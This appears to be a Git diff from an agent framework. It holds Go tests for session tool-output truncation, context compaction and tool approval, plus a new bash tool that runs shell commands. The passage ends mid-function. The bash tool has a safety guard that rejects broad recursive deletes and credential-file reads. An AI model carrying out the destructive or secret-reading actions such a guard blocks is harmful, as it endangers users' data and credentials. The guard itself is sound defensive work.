TestSessionTruncatesLargeToolResultsBeforeHistory(t *testing.T) { + args := api.NewToolCallFunctionArguments() + client := &fakeClient{ + responses: [][]api.ChatResponse{ + {{ + Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "large_tool", + Arguments: args, + }, + }}}, + }}, + {{Message: api.Message{Role: "assistant", Content: "done"}}}, + }, + } + registry := &Registry{} + registry.Register(largeTool{}) + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + } + + result, err := session.Run(context.Background(), RunOptions{ + ChatID: "chat-1", + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use a tool"}}, + }) + if err != nil { + t.Fatal(err) + } + if len(result.Messages) < 3 { + t.Fatalf("messages = %#v", result.Messages) + } + content := result.Messages[2].Content + if !strings.Contains(content, "[tool output truncated: showing first ~") || + !strings.Contains(content, "omitted ~25 tokens") || + !strings.Contains(content, "Use a narrower command, line range, or search query") { + t.Fatalf("tool content missing truncation marker: %q", content) + } + if strings.Count(content, "x") != maxToolResultRunes { + t.Fatalf("truncated content x count = %d, want %d", strings.Count(content, "x"), maxToolResultRunes) + } + requestContent := client.requests[1].Messages[2].Content + if !strings.Contains(requestContent, "[tool output truncated: showing first ~") { + t.Fatalf("second model request did not use capped tool content: %q", requestContent) + } + if strings.Count(requestContent, "x") > maxToolResultRunes { + t.Fatalf("request tool content x count = %d, want at most %d", strings.Count(requestContent, "x"), maxToolResultRunes) + } +} + +func TestSessionSmallContextUsesLowerToolResultPreviewCap(t *testing.T) { + args := api.NewToolCallFunctionArguments() + client := &fakeClient{ + responses: [][]api.ChatResponse{ + {{ + Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "large_tool", + Arguments: args, + }, + }}}, + }}, + {{Message: api.Message{Role: "assistant", Content: "done"}}}, + }, + } + registry := &Registry{} + registry.Register(largeTool{}) + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{ + ContextWindowTokens: smallContextToolResultTokenWindow, + }}, + } + + result, err := session.Run(context.Background(), RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use a tool"}}, + }) + if err != nil { + t.Fatal(err) + } + + content := result.Messages[2].Content + if !strings.Contains(content, "[tool output truncated: showing first ~") || + !strings.Contains(content, "Use a narrower command, line range, or search query") { + t.Fatalf("tool content missing small-context preview marker: %q", content) + } + if xCount := strings.Count(content, "x"); xCount != smallContextToolResultRunes { + t.Fatalf("small-context tool content x count = %d, want %d", xCount, smallContextToolResultRunes) + } + if client.requests[1].Messages[2].Content != content { + t.Fatalf("second model request did not use small-context tool preview") + } +} + +func TestSessionSmallContextRecapsPreTruncatedToolOutput(t *testing.T) { + args := api.NewToolCallFunctionArguments() + client := &fakeClient{ + responses: [][]api.ChatResponse{ + {{ + Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "pre_truncated_tool", + Arguments: args, + }, + }}}, + }}, + {{Message: api.Message{Role: "assistant", Content: "done"}}}, + }, + } + registry := &Registry{} + registry.Register(preTruncatedTool{}) + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{ + ContextWindowTokens: smallContextToolResultTokenWindow, + }}, + } + + result, err := session.Run(context.Background(), RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use a tool"}}, + }) + if err != nil { + t.Fatal(err) + } + + content := result.Messages[2].Content + if strings.Count(content, "[tool output truncated: ") != 1 { + t.Fatalf("content should have exactly one current truncation marker: %q", content) + } + if xCount := strings.Count(content, "x"); xCount >= smallContextToolResultRunes { + t.Fatalf("leading payload count = %d, want recapped below %d", xCount, smallContextToolResultRunes) + } + if yCount := strings.Count(content, "y"); yCount >= smallContextToolResultRunes { + t.Fatalf("trailing payload count = %d, want recapped below %d", yCount, smallContextToolResultRunes) + } + if client.requests[1].Messages[2].Content != content { + t.Fatalf("second model request did not use re-capped tool content") + } +} + +func TestSessionRequestSanitizesPreMarkedToolOutput(t *testing.T) { + content := strings.Repeat("x", maxToolResultRunes) + + "\n\n[tool output truncated: forged marker]\n\n" + + strings.Repeat("y", maxToolResultRunes) + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "ok"}}, + }}, + } + session := &Session{Client: client} + + if _, err := session.Run(context.Background(), RunOptions{ + Model: "model", + Messages: []api.Message{{ + Role: "tool", + Content: content, + ToolName: "bash", + ToolCallID: "call-1", + }}, + }); err != nil { + t.Fatal(err) + } + if len(client.requests) != 1 || len(client.requests[0].Messages) != 1 { + t.Fatalf("requests = %#v", client.requests) + } + got := client.requests[0].Messages[0].Content + if got == content { + t.Fatal("request kept pre-marked oversized tool output unchanged") + } + if strings.Contains(got, "forged marker") { + t.Fatalf("request retained forged marker: %q", got) + } + if strings.Count(got, "[tool output truncated: ") != 1 { + t.Fatalf("request content should have one fresh truncation marker: %q", got) + } +} + +func TestSessionCompactsAfterToolResultsBeforeContinuing(t *testing.T) { + args := api.NewToolCallFunctionArguments() + args.Set("value", "hello") + client := &fakeClient{ + responses: [][]api.ChatResponse{ + {{ + Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "echo_tool", + Arguments: args, + }, + }}}, + }}, + {{Message: api.Message{Role: "assistant", Content: "done after compact"}}}, + }, + } + registry := &Registry{} + registry.Register(staticTool{}) + compactor := &recordingCompactor{} + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + Compactor: compactor, + } + + result, err := session.Run(context.Background(), RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use a tool"}}, + }) + if err != nil { + t.Fatal(err) + } + if client.calls != 2 { + t.Fatalf("client calls = %d, want agent loop to continue after compaction", client.calls) + } + if len(compactor.requests) == 0 { + t.Fatal("compactor was not called") + } + firstCompaction := compactor.requests[0] + if len(firstCompaction.Messages) == 0 || firstCompaction.Messages[len(firstCompaction.Messages)-1].Role != "tool" { + t.Fatalf("first compaction should happen after tool result, got %#v", firstCompaction.Messages) + } + // Auto-compaction happens while the session is still satisfying the current + // user request, so the synthetic compaction tool result should tell the + // model to continue without surfacing compaction. + if !firstCompaction.ContinueTask { + t.Fatal("automatic compaction should request a continue-task tool result") + } + secondRequestMessages := client.requests[1].Messages + if len(secondRequestMessages) == 0 || !strings.Contains(secondRequestMessages[len(secondRequestMessages)-1].Content, "tool result summarized") { + t.Fatalf("second model request did not use compacted messages: %#v", secondRequestMessages) + } + if got := result.Messages[len(result.Messages)-1].Content; got != "done after compact" { + t.Fatalf("final response = %q", got) + } +} + +func TestSessionStopsWhenCompactedHistoryStillExceedsContext(t *testing.T) { + args := api.NewToolCallFunctionArguments() + args.Set("value", "hello") + client := &fakeClient{ + responses: [][]api.ChatResponse{ + {{ + Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "echo_tool", + Arguments: args, + }, + }}}, + }}, + {{Message: api.Message{Role: "assistant", Content: "should not run"}}}, + }, + } + registry := &Registry{} + registry.Register(staticTool{}) + events := &recordingEventSink{} + compactor := &oversizedCompactor{} + session := &Session{ + Client: client, + EventSinks: []EventSink{events}, + Tools: registry, + AllowAllTools: true, + Compactor: compactor, + } + + result, err := session.Run(context.Background(), RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use a tool"}}, + Options: map[string]any{"num_ctx": 512}, + }) + if err == nil { + t.Fatal("expected post-compaction context error") + } + if !strings.Contains(err.Error(), "still too large after compaction") || !strings.Contains(err.Error(), "fresh request") { + t.Fatalf("error = %q, want actionable post-compaction guidance", err.Error()) + } + if result == nil { + t.Fatal("expected partial result with compacted messages") + } + if client.calls != 1 || len(client.requests) != 1 { + t.Fatalf("client calls = %d requests = %d, want no request after oversized compaction", client.calls, len(client.requests)) + } + if len(compactor.requests) != 1 { + t.Fatalf("compactor requests = %d, want 1", len(compactor.requests)) + } + if !hasEventType(events.events, EventCompacted) { + t.Fatalf("events missing compacted event: %#v", events.events) + } + if !hasEventType(events.events, EventError) { + t.Fatalf("events missing post-compaction error: %#v", events.events) + } + if len(result.Messages) == 0 || !strings.Contains(result.Messages[len(result.Messages)-1].Content, "Conversation summary:") { + t.Fatalf("result should retain compacted summary messages: %#v", result.Messages) + } +} + +func TestSessionContextCapsToolResultBeforeCompaction(t *testing.T) { + args := api.NewToolCallFunctionArguments() + client := &fakeClient{ + responses: [][]api.ChatResponse{ + {{ + Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "large_tool", + Arguments: args, + }, + }}}, + }}, + {{Message: api.Message{Role: "assistant", Content: "done"}}}, + }, + } + registry := &Registry{} + registry.Register(largeTool{}) + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{ + ContextWindowTokens: 100, + Threshold: 0.8, + }}, + } + + result, err := session.Run(context.Background(), RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use a tool"}}, + }) + if err != nil { + t.Fatal(err) + } + content := result.Messages[2].Content + if !strings.Contains(content, "[tool output truncated: ") || + !strings.Contains(content, "Use a narrower command, line range, or search query") { + t.Fatalf("tool content missing truncation marker: %q", content) + } + if xCount := strings.Count(content, "x"); xCount >= maxToolResultRunes { + t.Fatalf("context-capped content x count = %d, want less than hard cap", xCount) + } + if client.requests[1].Messages[2].Content != content { + t.Fatalf("second model request did not use context-capped tool content") + } +} + +func TestSessionCompactsThenReattachesFullyOmittedToolResult(t *testing.T) { + args := api.NewToolCallFunctionArguments() + client := &fakeClient{ + responses: [][]api.ChatResponse{ + {{ + Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "large_tool", + Arguments: args, + }, + }}}, + }}, + {{Message: api.Message{Role: "assistant", Content: "older history summarized"}}}, + {{Message: api.Message{Role: "assistant", Content: "done with result"}}}, + }, + } + registry := &Registry{} + registry.Register(largeTool{}) + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + Compactor: &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: smallContextToolResultTokenWindow, + Threshold: 0.45, + }}, + } + + result, err := session.Run(context.Background(), RunOptions{ + Model: "model", + Messages: []api.Message{{Role: "user", Content: strings.Repeat("history ", 2000)}}, + NewMessages: []api.Message{{Role: "user", Content: "use a large tool"}}, + }) + if err != nil { + t.Fatal(err) + } + if client.calls != 3 { + t.Fatalf("client calls = %d, want model, compaction, model", client.calls) + } + if len(client.requests) != 3 { + t.Fatalf("requests = %d, want 3", len(client.requests)) + } + + nextRequestMessages := client.requests[2].Messages + if len(nextRequestMessages) != 4 { + t.Fatalf("next model request messages = %#v, want summary pair plus tool call/result", nextRequestMessages) + } + if nextRequestMessages[0].Role != "assistant" || len(nextRequestMessages[0].ToolCalls) != 1 || nextRequestMessages[0].ToolCalls[0].Function.Name != CompactionToolName { + t.Fatalf("first message should be compaction summary tool call: %#v", nextRequestMessages[0]) + } + if nextRequestMessages[1].Role != "tool" || nextRequestMessages[1].ToolName != CompactionToolName || !strings.Contains(nextRequestMessages[1].Content, "older history summarized") { + t.Fatalf("second message should be compaction summary result: %#v", nextRequestMessages[1]) + } + if nextRequestMessages[2].Role != "assistant" || len(nextRequestMessages[2].ToolCalls) != 1 || nextRequestMessages[2].ToolCalls[0].ID != "call-1" { + t.Fatalf("third message should be original assistant tool call: %#v", nextRequestMessages[2]) + } + toolResult := nextRequestMessages[3] + if toolResult.Role != "tool" || toolResult.ToolName != "large_tool" || toolResult.ToolCallID != "call-1" { + t.Fatalf("fourth message should be reattached large tool result: %#v", toolResult) + } + if toolOutputFullyOmitted(toolResult.Content) { + t.Fatalf("tool result should be re-fitted after compaction, got full omission marker: %q", toolResult.Content) + } + if !strings.Contains(toolResult.Content, "[tool output truncated: showing first ~") { + t.Fatalf("tool result should still be bounded after compaction: %q", toolResult.Content) + } + if strings.Count(toolResult.Content, "x") != smallContextToolResultRunes { + t.Fatalf("tool result x count = %d, want %d", strings.Count(toolResult.Content, "x"), smallContextToolResultRunes) + } + if got := result.Messages[len(result.Messages)-1].Content; got != "done with result" { + t.Fatalf("final response = %q", got) + } +} + +func TestSessionEmitsAutoCompactionActivityEvents(t *testing.T) { + args := api.NewToolCallFunctionArguments() + client := &fakeClient{ + responses: [][]api.ChatResponse{ + {{ + Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "large_tool", + Arguments: args, + }, + }}}, + }}, + {{Message: api.Message{Role: "assistant", Content: "summary"}, Metrics: api.Metrics{EvalCount: 7}}}, + {{Message: api.Message{Role: "assistant", Content: "done"}}}, + }, + } + registry := &Registry{} + registry.Register(largeTool{}) + events := &recordingEventSink{} + session := &Session{ + Client: client, + EventSinks: []EventSink{events}, + Tools: registry, + AllowAllTools: true, + Compactor: &SimpleCompactor{Client: client, Options: CompactionOptions{ + ContextWindowTokens: 300, + Threshold: 0.3, + }}, + } + + if _, err := session.Run(context.Background(), RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use a tool"}}, + }); err != nil { + t.Fatal(err) + } + + if !hasEventType(events.events, EventCompactionStarted) { + t.Fatalf("events missing compaction start: %#v", events.events) + } + if !hasEventWithTokens(events.events, EventCompactionProgress, 7) { + t.Fatalf("events missing compaction progress tokens: %#v", events.events) + } + if !hasEventType(events.events, EventCompacted) { + t.Fatalf("events missing compacted event: %#v", events.events) + } +} + +func TestSessionTruncatesSeededToolMessagesBeforeHistory(t *testing.T) { + largeContent := strings.Repeat("x", maxToolResultRunes+100) + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "done"}}, + }}, + } + session := &Session{ + Client: client, + } + + result, err := session.Run(context.Background(), RunOptions{ + ChatID: "chat-1", + Model: "model", + NewMessages: []api.Message{ + {Role: "user", Content: "use seeded tool"}, + {Role: "tool", ToolName: "example_tool", ToolCallID: "call-1", Content: largeContent}, + }, + }) + if err != nil { + t.Fatal(err) + } + if len(result.Messages) < 2 { + t.Fatalf("messages = %#v", result.Messages) + } + content := result.Messages[1].Content + if !strings.Contains(content, "[tool output truncated: showing first ~") || + !strings.Contains(content, "omitted ~25 tokens") { + t.Fatalf("seeded tool content missing truncation marker: %q", content) + } + requestContent := client.requests[0].Messages[1].Content + if !strings.Contains(requestContent, "[tool output truncated: showing first ~") { + t.Fatalf("model request did not use capped seeded tool content: %q", requestContent) + } + if strings.Count(requestContent, "x") > maxToolResultRunes { + t.Fatalf("request seeded tool content x count = %d, want at most %d", strings.Count(requestContent, "x"), maxToolResultRunes) + } +} + +func TestSessionPreflightRejectsOversizedFirstRequest(t *testing.T) { + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "should not run"}}, + }}, + } + events := &recordingEventSink{} + session := &Session{ + Client: client, + EventSinks: []EventSink{events}, + Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{ + ContextWindowTokens: 128, + }}, + } + + _, err := session.Run(context.Background(), RunOptions{ + ChatID: "chat-1", + Model: "model", + SystemPrompt: strings.Repeat("system instructions ", 200), + NewMessages: []api.Message{{Role: "user", Content: "hello"}}, + }) + if err == nil { + t.Fatal("expected preflight context error") + } + if !strings.Contains(err.Error(), "Reduce the system prompt or message history") || !strings.Contains(err.Error(), "compact the conversation") { + t.Fatalf("error = %q, want actionable prompt guidance", err.Error()) + } + if len(client.requests) != 0 { + t.Fatalf("chat requests = %d, want none before preflight passes", len(client.requests)) + } + if !hasEventType(events.events, EventError) { + t.Fatalf("events missing error: %#v", events.events) + } +} + +func TestSessionPreflightIgnoresRawImageBytes(t *testing.T) { + client := &fakeClient{ + responses: [][]api.ChatResponse{{ + {Message: api.Message{Role: "assistant", Content: "image received"}}, + }}, + } + session := &Session{ + Client: client, + Compactor: &SimpleCompactor{Client: nil, Options: CompactionOptions{ + ContextWindowTokens: 128, + }}, + } + + image := make(api.ImageData, 64*1024) + result, err := session.Run(context.Background(), RunOptions{ + ChatID: "chat-1", + Model: "model", + NewMessages: []api.Message{{ + Role: "user", + Content: "describe this image", + Images: []api.ImageData{image}, + }}, + }) + if err != nil { + t.Fatal(err) + } + if len(client.requests) != 1 { + t.Fatalf("chat requests = %d, want 1", len(client.requests)) + } + if got := client.requests[0].Messages[0].Images; len(got) != 1 || len(got[0]) != len(image) { + t.Fatalf("request images = %#v, want original image payload", got) + } + if len(result.Messages) == 0 || result.Messages[len(result.Messages)-1].Content != "image received" { + t.Fatalf("result messages = %#v", result.Messages) + } +} + +func TestSessionFreezesBatchToolWorkingDirAfterApproval(t *testing.T) { + root := t.TempDir() + if err := os.Mkdir(filepath.Join(root, "sub"), 0o755); err != nil { + t.Fatal(err) + } + setArgs := api.NewToolCallFunctionArguments() + setArgs.Set("mode", "set") + setArgs.Set("path", "sub") + echoArgs := api.NewToolCallFunctionArguments() + echoArgs.Set("mode", "echo") + + client := &fakeClient{ + responses: [][]api.ChatResponse{ + { + {Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{ + { + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "cwd_tool", + Arguments: setArgs, + }, + }, + { + ID: "call-2", + Function: api.ToolCallFunction{ + Name: "cwd_tool", + Arguments: echoArgs, + }, + }, + }}}, + }, + { + {Message: api.Message{Role: "assistant", Content: "done"}}, + }, + }, + } + registry := &Registry{} + registry.Register(cwdTestTool{}) + prompter := &recordingApprovalPrompter{results: []Approval{{Allow: true}}} + session := &Session{ + Client: client, + Tools: registry, + ApprovalPrompter: prompter, + WorkingDir: root, + } + + result, err := session.Run(context.Background(), RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use cwd"}}, + }) + if err != nil { + t.Fatal(err) + } + want, err := filepath.EvalSymlinks(filepath.Join(root, "sub")) + if err != nil { + t.Fatal(err) + } + approvedRoot := root + if len(prompter.requests) != 1 { + t.Fatalf("approval requests = %d, want 1", len(prompter.requests)) + } + if prompter.requests[0].WorkingDir != approvedRoot { + t.Fatalf("approval cwd = %q, want %q", prompter.requests[0].WorkingDir, approvedRoot) + } + if session.WorkingDir != want { + t.Fatalf("session cwd = %q, want %q", session.WorkingDir, want) + } + if result.WorkingDir != want { + t.Fatalf("result cwd = %q, want %q", result.WorkingDir, want) + } + if result.Messages[2].Content != "changed" { + t.Fatalf("cwd change tool content = %q, want unchanged output", result.Messages[2].Content) + } + if result.Messages[3].Content != approvedRoot { + t.Fatalf("second tool saw cwd %q, want approved cwd %q", result.Messages[3].Content, approvedRoot) + } +} + +func TestSessionAllowsToolWorkingDirOutsideInitialDir(t *testing.T) { + root := t.TempDir() + escapeArgs := api.NewToolCallFunctionArguments() + escapeArgs.Set("mode", "escape") + echoArgs := api.NewToolCallFunctionArguments() + echoArgs.Set("mode", "echo") + + client := &fakeClient{ + responses: [][]api.ChatResponse{ + { + {Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{ + { + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "cwd_tool", + Arguments: escapeArgs, + }, + }, + { + ID: "call-2", + Function: api.ToolCallFunction{ + Name: "cwd_tool", + Arguments: echoArgs, + }, + }, + }}}, + }, + { + {Message: api.Message{Role: "assistant", Content: "done"}}, + }, + }, + } + registry := &Registry{} + registry.Register(cwdTestTool{}) + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + WorkingDir: root, + } + + result, err := session.Run(context.Background(), RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use cwd"}}, + }) + if err != nil { + t.Fatal(err) + } + want, err := filepath.EvalSymlinks(filepath.Dir(root)) + if err != nil { + t.Fatal(err) + } + approvedRoot := root + if session.WorkingDir != want { + t.Fatalf("session cwd = %q, want %q", session.WorkingDir, want) + } + if result.Messages[2].Content != "escaped" { + t.Fatalf("escape tool content = %q, want unchanged output", result.Messages[2].Content) + } + if result.Messages[3].Content != approvedRoot { + t.Fatalf("second tool saw cwd %q, want original cwd %q", result.Messages[3].Content, approvedRoot) + } +} + +func TestSessionDeniesWithoutApprovalPrompter(t *testing.T) { + args := api.NewToolCallFunctionArguments() + echoArgs := api.NewToolCallFunctionArguments() + echoArgs.Set("value", "should not run") + client := &fakeClient{ + responses: [][]api.ChatResponse{ + { + {Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{ + { + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "approval_tool", + Arguments: args, + }, + }, + { + ID: "call-2", + Function: api.ToolCallFunction{ + Name: "echo_tool", + Arguments: echoArgs, + }, + }, + }}}, + }, + { + {Message: api.Message{Role: "assistant", Content: "done"}}, + }, + }, + } + called := false + registry := &Registry{} + registry.Register(approvalTestTool{called: &called}) + registry.Register(staticTool{}) + session := &Session{ + Client: client, + Tools: registry, + } + + result, err := session.Run(context.Background(), RunOptions{ + ChatID: "chat-1", + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use a tool"}}, + }) + if err != nil { + t.Fatal(err) + } + if called { + t.Fatal("tool executed despite denied approval") + } + if client.calls != 1 { + t.Fatalf("client calls = %d, want 1 after denial", client.calls) + } + if len(result.Messages) != 4 { + t.Fatalf("messages = %#v", result.Messages) + } + if result.Messages[2].Role != "tool" || result.Messages[2].ToolCallID != "call-1" { + t.Fatalf("denial tool message = %#v", result.Messages[2]) + } + if result.Messages[2].Content == "" || result.Messages[2].Content == "approved" || result.Messages[2].Content == "tool says hello" { + t.Fatalf("tool denial content = %q", result.Messages[2].Content) + } + if result.Messages[3].Role != "tool" || result.Messages[3].ToolCallID != "call-2" { + t.Fatalf("second denial tool message = %#v", result.Messages[3]) + } + if result.Messages[3].Content == "" || result.Messages[3].Content == "tool says hello" { + t.Fatalf("second denial content = %q", result.Messages[3].Content) + } +} + +func TestSessionPromptsOnceForApprovalBatch(t *testing.T) { + args := api.NewToolCallFunctionArguments() + client := &fakeClient{ + responses: [][]api.ChatResponse{ + { + {Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{ + { + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "approval_tool", + Arguments: args, + }, + }, + { + ID: "call-2", + Function: api.ToolCallFunction{ + Name: "approval_tool", + Arguments: args, + }, + }, + }}}, + }, + { + {Message: api.Message{Role: "assistant", Content: "done"}}, + }, + }, + } + called := false + registry := &Registry{} + registry.Register(approvalTestTool{called: &called}) + prompter := &recordingApprovalPrompter{ + results: []Approval{{Reason: "denied"}}, + } + session := &Session{ + Client: client, + Tools: registry, + ApprovalPrompter: prompter, + } + + result, err := session.Run(context.Background(), RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use tools"}}, + }) + if err != nil { + t.Fatal(err) + } + if len(prompter.requests) != 1 { + t.Fatalf("approval prompts = %d, want 1", len(prompter.requests)) + } + if len(prompter.requests[0].Calls) != 2 { + t.Fatalf("approval calls = %#v, want both tool calls", prompter.requests[0].Calls) + } + if called { + t.Fatal("tool ran despite denied approval") + } + if client.calls != 1 { + t.Fatalf("client calls = %d, want 1 after denial", client.calls) + } + if len(result.Messages) != 4 || result.Messages[2].Role != "tool" || result.Messages[3].Role != "tool" { + t.Fatalf("messages = %#v", result.Messages) + } +} + +func TestSessionAllowAllApprovalSkipsFuturePrompts(t *testing.T) { + args := api.NewToolCallFunctionArguments() + client := &fakeClient{ + responses: [][]api.ChatResponse{ + { + {Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "approval_tool", + Arguments: args, + }, + }}}}, + }, + { + {Message: api.Message{Role: "assistant", Content: "done"}}, + }, + { + {Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-2", + Function: api.ToolCallFunction{ + Name: "approval_tool", + Arguments: args, + }, + }}}}, + }, + { + {Message: api.Message{Role: "assistant", Content: "done again"}}, + }, + }, + } + registry := &Registry{} + registry.Register(approvalTestTool{}) + prompter := &recordingApprovalPrompter{ + results: []Approval{{AllowAll: true}}, + } + session := &Session{ + Client: client, + Tools: registry, + ApprovalPrompter: prompter, + } + + for range 2 { + if _, err := session.Run(context.Background(), RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use a tool"}}, + }); err != nil { + t.Fatal(err) + } + } + if !session.AllowAllTools { + t.Fatal("session did not remember allow all") + } + if len(prompter.requests) != 1 { + t.Fatalf("approval prompts = %d, want 1", len(prompter.requests)) + } +} + +func TestSessionAllowAllToolsExecutesApprovalTool(t *testing.T) { + args := api.NewToolCallFunctionArguments() + client := &fakeClient{ + responses: [][]api.ChatResponse{ + { + {Message: api.Message{Role: "assistant", ToolCalls: []api.ToolCall{{ + ID: "call-1", + Function: api.ToolCallFunction{ + Name: "approval_tool", + Arguments: args, + }, + }}}}, + }, + { + {Message: api.Message{Role: "assistant", Content: "done"}}, + }, + }, + } + called := false + registry := &Registry{} + registry.Register(approvalTestTool{called: &called}) + session := &Session{ + Client: client, + Tools: registry, + AllowAllTools: true, + } + + result, err := session.Run(context.Background(), RunOptions{ + Model: "model", + NewMessages: []api.Message{{Role: "user", Content: "use a tool"}}, + }) + if err != nil { + t.Fatal(err) + } + if !called { + t.Fatal("tool did not execute") + } + if result.Messages[2].Content != "approved" { + t.Fatalf("tool content = %q, want approved", result.Messages[2].Content) + } +} diff --git a/agent/tools/bash.go b/agent/tools/bash.go new file mode 100644 index 000000000..e1fcb0b84 --- /dev/null +++ b/agent/tools/bash.go @@ -0,0 +1,388 @@ +package tools + +import ( + "context" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "time" + "unicode/utf8" + + "github.com/ollama/ollama/agent" + "github.com/ollama/ollama/api" +) + +const ( + bashTimeout = 3 * time.Minute + bashWaitDelay = 1 * time.Second + maxBashOutputBytes = 60_000 +) + +type Bash struct{} + +func (b *Bash) Name() string { + return shellToolName() +} + +func (b *Bash) Description() string { + return shellToolDescription() +} + +func (b *Bash) Schema() api.ToolFunction { + props := api.NewToolPropertiesMap() + props.Set("command", api.ToolProperty{ + Type: api.PropertyType{"string"}, + Description: shellCommandDescription(), + }) + return api.ToolFunction{ + Name: b.Name(), + Description: b.Description(), + Parameters: api.ToolFunctionParameters{ + Type: "object", + Properties: props, + Required: []string{"command"}, + }, + } +} + +func (b *Bash) RequiresApproval(map[string]any) bool { + return true +} + +func (b *Bash) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) { + command, ok := args["command"].(string) + if !ok || strings.TrimSpace(command) == "" { + return agent.ToolResult{}, fmt.Errorf("command parameter is required") + } + if err := rejectUnsafeShellCommand(command); err != nil { + return agent.ToolResult{}, err + } + + ctx, cancel := context.WithTimeout(ctx, bashTimeout) + defer cancel() + + cwdFile, err := os.CreateTemp("", "ollama-agent-cwd-*") + if err != nil { + return agent.ToolResult{}, err + } + cwdPath := cwdFile.Name() + _ = cwdFile.Close() + defer os.Remove(cwdPath) + + cmd := newBashCommand(ctx, command, cwdPath) + cmd.WaitDelay = bashWaitDelay + cmd.Cancel = func() error { + return killBashCommand(cmd) + } + if toolCtx.WorkingDir != "" { + cmd.Dir = toolCtx.WorkingDir + } + + var stdout, stderr boundedOutput + stdout.Limit = maxBashOutputBytes + stderr.Limit = maxBashOutputBytes + cmd.Stdout = &stdout + cmd.Stderr = &stderr + + err = runBashCommand(cmd) + finalWorkingDir := readFinalWorkingDir(cwdPath) + + var sb strings.Builder + if stdout.Len() > 0 { + sb.WriteString(stdout.String("stdout")) + } + if stderr.Len() > 0 { + if sb.Len() > 0 { + sb.WriteString("\n") + } + sb.WriteString("stderr:\n") + sb.WriteString(stderr.String("stderr")) + } + + if err != nil { + if ctx.Err() == context.DeadlineExceeded { + return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command timed out after "+bashTimeout.String()), WorkingDir: finalWorkingDir}, nil + } + if ctx.Err() == context.Canceled { + return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command was canceled"), WorkingDir: finalWorkingDir}, nil + } + if errors.Is(err, exec.ErrWaitDelay) { + _ = killBashCommand(cmd) + return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command output pipes did not close after "+bashWaitDelay.String()), WorkingDir: finalWorkingDir}, nil + } + if exitErr, ok := err.(*exec.ExitError); ok { + return agent.ToolResult{Content: bashContentWithError(sb.String(), fmt.Sprintf("Exit code: %d", exitErr.ExitCode())), WorkingDir: finalWorkingDir}, nil + } + return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, fmt.Errorf("executing command: %w", err) + } + + if sb.Len() == 0 { + return agent.ToolResult{Content: "(no output)", WorkingDir: finalWorkingDir}, nil + } + return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, nil +} + +func bashContentWithError(content, msg string) string { + if content == "" { + return msg + } + return content + "\n\n" + msg +} + +func rejectUnsafeShellCommand(command string) error { + switch { + case hasUnsafeRecursiveDelete(command): + return fmt.Errorf("refusing to run unsafe command: recursive delete target is too broad") + case readsCredentialPath(command): + return fmt.Errorf("refusing to run unsafe command: credential file reads are not allowed") + default: + return nil + } +} + +func hasUnsafeRecursiveDelete(command string) bool { + fields := shellSafetyFields(command) + for i, field := range fields { + if isRMCommand(field) && 